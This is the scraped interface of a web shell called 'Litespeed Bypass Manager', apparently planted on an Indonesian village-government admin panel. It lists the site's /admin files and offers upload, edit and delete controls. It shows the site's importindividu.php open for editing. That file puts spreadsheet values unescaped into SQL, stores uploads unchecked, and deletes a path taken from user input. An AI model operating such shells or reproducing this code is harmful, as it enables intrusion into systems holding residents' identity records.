Litespeed Bypass Manager
Direktori:
/admin
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📁
Template
Folder
Hapus
📁
assets
Folder
Hapus
📁
assets2
Folder
Hapus
📁
calender
Folder
Hapus
📁
ckeditor
Folder
Hapus
📁
css
Folder
Hapus
📁
datatables
Folder
Hapus
📁
fonts
Folder
Hapus
📁
images
Folder
Hapus
📁
includes
Folder
Hapus
📁
js
Folder
Hapus
📁
leaflet
Folder
Hapus
📁
scripts
Folder
Hapus
📁
spreadsheet-reader-master
Folder
Hapus
📁
uploads
Folder
Hapus
📁
vendor
Folder
Hapus
📄 aksi.php
Edit
Hapus
📄 aksiGetPenduduk.php
Edit
Hapus
📄 aksiGetPenduduk2.php
Edit
Hapus
📄 apbdes.php
Edit
Hapus
📄 artikel.php
Edit
Hapus
📄 belanja_proses.php
Edit
Hapus
📄 buat_surat.php
Edit
Hapus
📄 buat_surat2.php
Edit
Hapus
📄 cari_penduduk.php
Edit
Hapus
📄 config.php
Edit
Hapus
📄 daftar_proses.php
Edit
Hapus
📄 data.php
Edit
Hapus
📄 data_surat.php
Edit
Hapus
📄 error_log
Edit
Hapus
📄 excel_reader.php
Edit
Hapus
📄 exportexcelindividu.php
Edit
Hapus
📄 exportexcelkeluarga.php
Edit
Hapus
📄 exportxls.php
Edit
Hapus
📄 functions.php
Edit
Hapus
📄 hapus_artikel_proses.php
Edit
Hapus
📄 hapus_legal_proses.php
Edit
Hapus
📄 hapus_lembaga_proses.php
Edit
Hapus
📄 hapus_profil_proses.php
Edit
Hapus
📄 hapus_sig_proses.php
Edit
Hapus
📄 hapus_surat.php
Edit
Hapus
📄 hapus_user_proses.php
Edit
Hapus
📄 hidden_aduan_proses.php
Edit
Hapus
📄 hidden_profil_proses.php
Edit
Hapus
📄 home.php
Edit
Hapus
📄 importindividu.php
Edit
Hapus
📄 importkeluarga.php
Edit
Hapus
📄 index.php
Edit
Hapus
📄 individu.php
Edit
Hapus
📄 keluarga.php
Edit
Hapus
📄 konfigurasi.php
Edit
Hapus
📄 laporan_bulan.php
Edit
Hapus
📄 legal.php
Edit
Hapus
📄 lembaga.php
Edit
Hapus
📄 lembaga_proses.php
Edit
Hapus
📄 lembaga_ubah_proses.php
Edit
Hapus
📄 logo_proses.php
Edit
Hapus
📄 modal_detail.php
Edit
Hapus
📄 modal_disposisi.php
Edit
Hapus
📄 modal_selesai.php
Edit
Hapus
📄 modal_tindaklanjut.php
Edit
Hapus
📄 modal_ubah_anggaran.php
Edit
Hapus
📄 modal_ubah_artikel.php
Edit
Hapus
📄 modal_ubah_belanja.php
Edit
Hapus
📄 modal_ubah_individu.php
Edit
Hapus
📄 modal_ubah_keluarga.php
Edit
Hapus
📄 modal_ubah_legal.php
Edit
Hapus
📄 modal_ubah_lembaga.php
Edit
Hapus
📄 modal_ubah_profil.php
Edit
Hapus
📄 modal_ubah_realisasi.php
Edit
Hapus
📄 modal_ubah_realisasibelanja.php
Edit
Hapus
📄 modal_ubah_sig.php
Edit
Hapus
📄 modal_ubah_user.php
Edit
Hapus
📄 modal_view_individu.php
Edit
Hapus
📄 modal_view_keluarga.php
Edit
Hapus
📄 modal_view_mutasipenduduk.php
Edit
Hapus
📄 modal_view_surat.php
Edit
Hapus
📄 mutasi_penduduk.php
Edit
Hapus
📄 notif.js
Edit
Hapus
📄 notif.php
Edit
Hapus
📄 notif_pengaduan.php
Edit
Hapus
📄 notifikasi.php
Edit
Hapus
📄 pemdes.php
Edit
Hapus
📄 pendapatan_proses.php
Edit
Hapus
📄 penduduk_keluar.php
Edit
Hapus
📄 penduduk_masuk.php
Edit
Hapus
📄 pengaduan.php
Edit
Hapus
📄 profil.php
Edit
Hapus
📄 profil_proses.php
Edit
Hapus
📄 profil_ubah_proses.php
Edit
Hapus
📄 proses_konfigurasi.php
Edit
Hapus
📄 proses_penduduk_keluar.php
Edit
Hapus
📄 proses_penduduk_masuk.php
Edit
Hapus
📄 proses_upload.php
Edit
Hapus
📄 regUser.php
Edit
Hapus
📄 sig.php
Edit
Hapus
📄 simpan_surat.php
Edit
Hapus
📄 surat.php
Edit
Hapus
📄 surat_aksi.php
Edit
Hapus
📄 tambah_artikel_proses.php
Edit
Hapus
📄 tambah_legal_proses.php
Edit
Hapus
📄 tambah_sig_proses.php
Edit
Hapus
📄 tampil_aduan_proses.php
Edit
Hapus
📄 tampil_profil_proses.php
Edit
Hapus
📄 template_surat.php
Edit
Hapus
📄 template_surat2.php
Edit
Hapus
📄 to_xls.php
Edit
Hapus
📄 ubahDisposisi.php
Edit
Hapus
📄 ubahPassword.php
Edit
Hapus
📄 ubahSelesai.php
Edit
Hapus
📄 ubahStatus_user_proses.php
Edit
Hapus
📄 ubahTindakan.php
Edit
Hapus
📄 ubah_artikel_proses.php
Edit
Hapus
📄 ubah_belanja_proses.php
Edit
Hapus
📄 ubah_individu_proses.php
Edit
Hapus
📄 ubah_keluarga_proses.php
Edit
Hapus
📄 ubah_legal_proses.php
Edit
Hapus
📄 ubah_pendapatan_proses.php
Edit
Hapus
📄 ubah_realisasi_proses.php
Edit
Hapus
📄 ubah_realisasibelanja_proses.php
Edit
Hapus
📄 ubah_sig_proses.php
Edit
Hapus
📄 ubah_user_proses.php
Edit
Hapus
📄 viewBottomProfil.php
Edit
Hapus
📄 viewTopProfil.php
Edit
Hapus
📄 viewapbdes.php
Edit
Hapus
📄 viewartikel.php
Edit
Hapus
📄 viewbelanja.php
Edit
Hapus
📄 viewbpd.php
Edit
Hapus
📄 viewer.php
Edit
Hapus
📄 viewindividu.php
Edit
Hapus
📄 viewkeluarga.php
Edit
Hapus
📄 viewlegal.php
Edit
Hapus
📄 viewlpmd.php
Edit
Hapus
📄 viewmutasipenduduk.php
Edit
Hapus
📄 viewpemdes.php
Edit
Hapus
📄 viewrealisasi.php
Edit
Hapus
📄 viewrealisasibelanja.php
Edit
Hapus
📄 viewsig.php
Edit
Hapus
📄 viewsuara.php
Edit
Hapus
📄 viewsurat.php
Edit
Hapus
📄 viewuser.php
Edit
Hapus
Edit File: importindividu.php
<?php include_once '../librari/inc.koneksidb.php'; require('spreadsheet-reader-master/php-excel-reader/excel_reader2.php'); require('spreadsheet-reader-master/SpreadsheetReader.php'); session_start(); $hak_akses = isset($_SESSION['hak_akses']); if (!isset($_SESSION['username']) && $hak_akses == "") { ?> <script language="JavaScript"> alert('Anda Belum Login. Silahkan Login dahulu!'); document.location = '../login.php'; </script> <?php } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <!-- Css --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.1/dist/css/bootstrap.min.css"> <!-- Fonts --> <link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700' rel='stylesheet' type='text/css'> <link href='http://fonts.googleapis.com/css?family=Yanone+Kaffeesatz:400,700' rel='stylesheet' type='text/css'> <!-- Css --> <link rel="stylesheet" href="css/nivo-slider.css" type="text/css" /> <link rel="stylesheet" href="css/owl.carousel.css"> <link rel="stylesheet" href="css/bootstrap.min.css"> <link rel="stylesheet" href="css/font-awesome.min.css"> <link rel="stylesheet" href="css/style.css"> <link rel="stylesheet" href="css/responsive.css"> <link rel="stylesheet" href="css/bootstrap.css"> <!-- jS --> <script src="js/jquery.min.js" type="text/javascript"></script> <script src="js/bootstrap.min.js" type="text/javascript"></script> <script src="https://cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.1/dist/js/bootstrap.bundle.min.js"></script> </head> <body> <section id="blog"> <div class="container-fluid"> <div class="row"> <div class="col-md-12 clearfix"> <div class="header"> <h1 >Unggah Data Penduduk</h1> </div> <div class="alert alert-info" style="margin-top:10px;"> <p><strong>Petunjuk Unggah Data Penduduk:</strong></p> <p>1. Format file excel.XLSX sesuai template yang ada di link download. <br> 2. Jangan merubah kolom, baris dan format yang disediakan. Pembacaan data dimulai dari baris ke-2. <br> 3. Tampilkan file untuk review data yang akan di upload ke Data Base.</p> <p><a href="Template/Penduduk Template.xlsx" target="_blank" class="alert-link"> <i class="fa fa-cloud-download"></i> Download Template Excel Data Penduduk. </a></p> </div> <div class="container-fluid mb-4"> <h2>Pilih File</h2> <p>Pastikan file sesuai dengan petunjuk. Tampilkan data sebelum melakukan Submit data, penolakan data apabila terjadi Nomer KTP dan KK yang kosong. jika Nomer KTP sudah ada di database maka dilakukan update komponen atribut. <strong>Notifikasi Data sukses jika file berhasil diupload.</strong></p> <form action="" method="post" enctype="multipart/form-data"> <p>Custom file:</p> <div class="custom-file mb-3"> <input type="file" class="custom-file-input" id="customFile" name="filependuduk" required="required"/> <label class="custom-file-label" for="customFile">Choose file</label> </div> <div class="mt-3 pull-right "> <button type="submit" name="upload" class="btn btn-success">Tampil</button> <a href="index.php" class="btn btn-danger">Batal</a> </div> </form> </div> <script> // Add the following code if you want the name of the file appear on select $(".custom-file-input").on("change", function() { var fileName = $(this).val().split("\\").pop(); $(this).siblings(".custom-file-label").addClass("selected").html(fileName); }); </script> <?php if (isset($_POST['upload'])) { //upload data excel kedalam folder uploads $target_dir = "uploads/".basename($_FILES['filependuduk']['name']); move_uploaded_file($_FILES['filependuduk']['tmp_name'],$target_dir); $Reader = new SpreadsheetReader($target_dir); ?> <div class="row" style="margin-top:10px;"> <div class="col-md-9"> <h2><?php echo basename($_FILES['filependuduk']['name']); ?></h2> </div> <div class="col-md-3"> <script> $(document).ready(function() { // Sembunyikan alert validasi kosong $("#isi").hide(); }); </script> <div id="isi" class="alert alert-success" style="margin-top:10px;"> <p><strong>Data sukses ditampilkan : <span id='jumlah_isi'></span></strong></p> </div> </div> </div> <div class='table-responsive mb-1'> <table id="my-grid" class="table table-striped" style="font-size:11px;"> <thead > <tr class="table-info"> <th>No</th> <th>No KTP</th> <th>No KK</th> <th>Nama_Penduduk</th> <th>Agama</th> <th>Tempat Lahir</th> <th>Tanggal Lahir</th> <th>Jenis Kelamin</th> <th>Gol_Darah</th> <th>Kenegaraan</th> <th>Pendidikan</th> <th>Pekerjaan</th> <th>Pernikahan</th> <th>Bagian_Keluarga</th> </tr> </thead> <tbody> <?php $no=1; $isi=0; foreach ($Reader as $Key => $Row) { // import data excel mulai baris ke-3 (karena ada header pada baris 2) if ($Key < 2) continue; if (($Row[1] == "") or ($Row[2] == "")) continue; // Lewat data pada baris ini (masuk ke looping selanjutnya / baris selanjutnya) if (!empty($Row[8]) == "") $darah = ((!empty($Row[8])) ? "" : "N/A"); else $darah =$Row[8]; if (!empty($Row[10]) == "") $pendidikan = ((!empty($Row[10])) ? "" : "N/A"); else $pendidikan =$Row[10]; if (!empty($Row[11]) == "") $pekerjaan = ((!empty($Row[11])) ? "" : "N/A"); else $pekerjaan =$Row[11]; if (!empty($Row[12]) == "") $nikah = ((!empty($Row[12])) ? "" : "N/A"); else $nikah =$Row[12]; ?> <tr> <td><?=$no; ?></td> <td><?=$Row[1]; ?></td> <td><?=$Row[2]; ?></td> <td><?=$Row[3]; ?></td> <td><?=$Row[4]; ?></td> <td><?=$Row[5]; ?></td> <td><?=$Row[6]; ?></td> <td><?=$Row[7]; ?></td> <td><?=$darah; ?></td> <td><?=$Row[9]; ?></td> <td><?=$pendidikan; ?></td> <td><?=$pekerjaan; ?></td> <td><?=$nikah; ?></td> <td><?=$Row[13]; ?></td> </tr> <?php $isi++; $no++; } ?> </tbody> </table> <div class="mt-2 mb-2"> <script> $(document).ready(function() { // Ubah isi dari tag span dengan id jumlah_kosong dengan isi dari variabel kosong $("#jumlah_isi").html('<?php echo $isi ?>'); $("#isi").show(); // Munculkan alert validasi kosong }); </script> <form action="" method="POST"> <div class="custom-file mb-3"> <?php ?> <input type="text" value="<?php echo basename($_FILES['filependuduk']['name']); ?>" name="fileimport" hidden/> </div> <button type="submit" name="import" class="btn btn-warning" >Submit</button> </div> </form> </div> <?php } ?> <div id="importdata"> <?php if (isset($_POST['import'])) { $target_dir2 = "uploads/".basename($_POST['fileimport']); $Reader2 = new SpreadsheetReader($target_dir2); $no=1; $isi=0; $update=0; foreach ($Reader2 as $Key2 => $Row2) { // import data excel mulai baris ke-3 (karena ada header pada baris 2) if ($Key2 < 2) continue; if (($Row2[1] == "") or ($Row2[2] == "")) continue; // Lewat data pada baris ini (masuk ke looping selanjutnya / baris selanjutnya) if (!empty($Row2[8]) == "") $darah = ((!empty($Row2[8])) ? "" : "N/A"); else $darah =$Row2[8]; if (!empty($Row2[10]) == "") $pendidikan = ((!empty($Row2[10])) ? "" : "N/A"); else $pendidikan =$Row2[10]; if (!empty($Row2[11]) == "") $pekerjaan = ((!empty($Row2[11])) ? "" : "N/A"); else $pekerjaan =$Row2[11]; if (!empty($Row2[12]) == "") $nikah = ((!empty($Row2[12])) ? "" : "N/A"); else $nikah =$Row2[12]; $nama=addslashes($Row2[3]); $sqlcek = "SELECT * from warga where no_ktp='$Row2[1]'"; $querycek = mysql_query($sqlcek, $koneksiDbs) or die("Validasi".mysql_error()); $jumlah = mysql_num_rows($querycek); if ($jumlah >0){ $sqlupdate = "update warga set no_kk='$Row2[2]',nama='$nama',agama='$Row2[4]',t_lahir='$Row2[5]',tgl_lahir='$Row2[6]',j_kel='$Row2[7]',gol_darah='$darah',w_negara='$Row2[9]',pendidikan='$pendidikan',pekerjaan='$pekerjaan',s_nikah='$nikah',status='$Row2[13]' where no_ktp='$Row2[1]'"; $queryupdate = mysql_query($sqlupdate,$koneksiDbs) or die ("Gagal query".mysql_error()); $update++; } if ($jumlah < 1) { $sql = "insert into warga values ('$Row2[1]','$Row2[2]','$nama','$Row2[4]','$Row2[5]','$Row2[6]','$Row2[7]','$darah','$Row2[9]','$pendidikan','$pekerjaan','$nikah','$Row2[13]')"; $query = mysql_query($sql,$koneksiDbs) or die ("Gagal query".mysql_error()); $isi++; } $no++; } if ($isi+$update > 0){ ?> <div class="alert alert-info"> <strong>Berhasil Upload Data Penduduk.</strong> Jumlah data Penduduk ditambahkan sebanyak <?php echo $isi;?>, Jumlah data Penduduk diperbarui sebanyak <?php echo $update;?> </div> <?php } if ($isi+$update < 1){ ?> <div class="alert alert-danger"> <strong>Tidak ada Upload Data!</strong> </div> <?php } unlink($target_dir2); } ?> </div> </div> </div> </div> </div> </body> </html>
Simpan
Catatan: Mengedit file biner tidak disarankan.